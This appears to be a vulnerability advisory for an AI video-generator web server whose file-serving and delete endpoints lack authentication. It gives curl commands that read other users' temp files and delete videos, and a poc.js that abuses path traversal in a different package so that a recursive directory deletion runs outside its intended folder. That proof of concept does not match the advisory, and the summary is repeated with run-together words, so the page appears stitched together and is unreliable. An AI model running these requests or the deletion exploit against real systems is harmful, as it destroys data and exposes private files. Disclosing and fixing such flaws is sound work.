Summary
GET /api/tmp/:tmpFile and GET /api/music/:fileName serve any file within their respective directories without authentication. The server binds 0.0.0.0:3123 by default. No path containment check exists — though Express :param routing prevents / in the segment, blocking classic ../ traversal to arbitrary filesystem paths.
Root Cause
const tmpFilePath = path.join(this.config.tempDirPath, tmpFile); // line 139
// no auth, no allowlist, streams directly
fs.createReadStream(tmpFilePath).pipe(res);
Same pattern at line 179 for /music/:fileName.
Impact
- Any file in
~/.ai-agents-az-video-generator/temp/ readable without auth (intermediate audio, video artifacts, subtitles from other users' jobs)
- Any file in
static/music/ readable without auth
DELETE /api/short-video/:videoId deletes any video by ID without auth
Traversal to /etc/passwd is blocked by Express single-segment routing (:param cannot contain /).
Exploit
curl http://<host>:3123/api/tmp/<any-temp-filename>
curl http://<host>:3123/api/music/<any-music-filename>
curl -X DELETE http://<host>:3123/api/short-video/<videoId>
poc.js
const fs = require("fs");
const path = require("path");
const { deleteProfile, listProfiles } = require("opencode-studio-server/profile-manager");
const target = path.join(require("os").tmpdir(), "opencode-poc-victim");
fs.mkdirSync(path.join(target, "subdir"), { recursive: true });
fs.writeFileSync(path.join(target, "subdir", "data.txt"), "IMPORTANT");
const profiles_dir = path.join(require("os").homedir(), ".config", "opencode-profiles");
const relative = path.relative(profiles_dir, target);
try { deleteProfile(relative); } catch {}
const gone = !fs.existsSync(target);
console.log(gone ? "VULNERABLE" : "NOT CONFIRMED");
console.log(`deleteProfile(${JSON.stringify(relative)}) → rm -rf ${target}: ${gone}`);
process.exit(gone ? 0 : 1);
Fix
Add authentication middleware or restrict access to files owned by the requesting session.
Summary
GET /api/tmp/:tmpFileandGET /api/music/:fileNameserve any file within their respective directories without authentication. The server binds0.0.0.0:3123by default. No path containment check exists — though Express:paramrouting prevents/in the segment, blocking classic../traversal to arbitrary filesystem paths.Root Cause
Same pattern at line 179 for
/music/:fileName.Impact
~/.ai-agents-az-video-generator/temp/readable without auth (intermediate audio, video artifacts, subtitles from other users' jobs)static/music/readable without authDELETE /api/short-video/:videoIddeletes any video by ID without authTraversal to
/etc/passwdis blocked by Express single-segment routing (:paramcannot contain/).Exploit
poc.js
Fix
Add authentication middleware or restrict access to files owned by the requesting session.